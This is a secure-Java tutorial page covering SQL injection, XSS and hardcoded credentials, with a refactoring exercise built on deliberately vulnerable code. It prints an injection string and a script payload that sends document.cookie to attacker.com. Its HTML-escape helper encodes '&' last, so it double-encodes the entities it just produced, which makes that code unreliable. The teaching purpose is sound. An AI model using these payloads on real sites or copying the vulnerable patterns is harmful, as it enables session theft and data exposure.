Skip to Content
Course content

189: Preventing Common Security Vulnerabilities in Java Code

Click on the "Edit" button in the top corner of the screen to edit your slide content.

Security is one of those things that usually feels like a checklist at the end of a project, but if you treat it that way, you're basically inviting a disaster. I've seen production databases wiped and user sessions hijacked simply because a developer thought, "I'll just get this working first and secure it later." Let's not do that. Instead, we're going to build a small User Profile Lookup tool and I'll show you where the traps are hidden.

Building a Quick User Lookup Tool

Imagine we need a feature where an admin can type in a username and pull up that user's profile from a database. In my head, this is simple: take a string, query the DB, and print the result. Here is how I'd start writing the logic for the search method.

public User findUser(String username) {
    Connection conn = database.getConnection();
    Statement statement = conn.createStatement();
    // Just concatenating the input into the query
    String query = "SELECT * FROM users WHERE username = '" + username + "'";
    ResultSet rs = statement.executeQuery(query);
    
    if (rs.next()) {
        return new User(rs.getString("username"), rs.getString("bio"));
    }
    return null;
}

Wait, I just opened a massive hole in our database

Looking back at that code, I just committed the cardinal sin of Java database programming: SQL Injection. If a malicious user enters ' OR '1'='1 as the username, the resulting query becomes SELECT * FROM users WHERE username = '' OR '1'='1'. Since '1'='1' is always true, the attacker could potentially bypass authentication or dump the entire user table.

I need to stop treating user input as part of the executable command. The fix is using a PreparedStatement. This tells the database exactly what the query structure is, and treats the input strictly as data, not as code.

public User findUser(String username) {
    Connection conn = database.getConnection();
    // Use a placeholder (?) instead of concatenation
    String sql = "SELECT * FROM users WHERE username = ?";
    PreparedStatement pstmt = conn.prepareStatement(sql);
    pstmt.setString(1, username); // The driver handles escaping automatically
    
    ResultSet rs = pstmt.executeQuery();
    if (rs.next()) {
        return new User(rs.getString("username"), rs.getString("bio"));
    }
    return null;
}

Closing the loop on Cross-Site Scripting

Now that the data is safe coming out of the database, we have to worry about how it's displayed. Let's say we're sending this user's bio to a simple HTML page. If I just drop the string into the HTML, I'm creating a Cross-Site Scripting (XSS) vulnerability.

If a user set their bio to <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>, anyone viewing that profile would unknowingly send their session cookie to the attacker. I can't trust the data in my own database because it was provided by a user.

To fix this, we must encode the output. While there are many libraries like OWASP Java Encoder, the core principle is replacing characters like < and > with their HTML entities (&lt; and &gt;).

public String formatBioForHtml(String bio) {
    if (bio == null) return "";
    // A simple manual replacement for demonstration; 
    // in production, use a vetted library like Apache Commons Text
    return bio.replace("<", "&lt;")
              .replace(">", "&gt;")
              .replace("&", "&amp;")
              .replace("\"", "&quot;");
}

Keeping the keys out of the codebase

One last thing. When I was setting up the database.getConnection() method for this example, my first instinct was to just put the password in a constant: private static final String DB_PASS = "Admin123!";

Stop. Never do that. Even in private repositories, hardcoded credentials are a liability. If that code is ever leaked or the repo is compromised, your infrastructure is wide open. I'll use environment variables instead. It keeps the secret out of the version control system entirely.

public Connection getConnection() {
    String dbUser = System.getenv("DB_USER");
    String dbPass = System.getenv("DB_PASSWORD");
    return DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", dbUser, dbPass);
}

By handling the input with prepared statements, encoding the output for the browser, and keeping secrets in the environment, we've turned a "quick and dirty" tool into something that won't keep me awake at night.




📋 Practical Task

Secure the Legacy User-Search Module

You've inherited a legacy Java class called LegacyUserSearch that is riddled with security flaws. Your task is to refactor the searchUserByEmail method to prevent SQL Injection and ensure the displayUserProfile method prevents XSS attacks.

Requirements:

  • Replace the Statement and string concatenation with a PreparedStatement.
  • Implement a basic HTML escaping mechanism (at minimum replacing < and >) before returning the profile string for display.
  • Remove any hardcoded passwords and replace them with a call to System.getenv().
// STARTING CODE (Vulnerable)
public class LegacyUserSearch {
    private String dbPassword = "password123"; // VULNERABILITY 1

    public User searchUserByEmail(String email) {
        Connection conn = DriverManager.getConnection("jdbc:mysql://db:3306/app", "admin", dbPassword);
        Statement stmt = conn.createStatement();
        // VULNERABILITY 2
        String query = "SELECT * FROM users WHERE email = '" + email + "'";
        ResultSet rs = stmt.executeQuery(query);
        // ... logic to return User object
    }

    public String displayUserProfile(User user) {
        // VULNERABILITY 3
        return "<div>User Bio: " + user.getBio() + "</div>";
    }
}
Rating
0 0

There are no comments for now.

to be the first to leave a comment.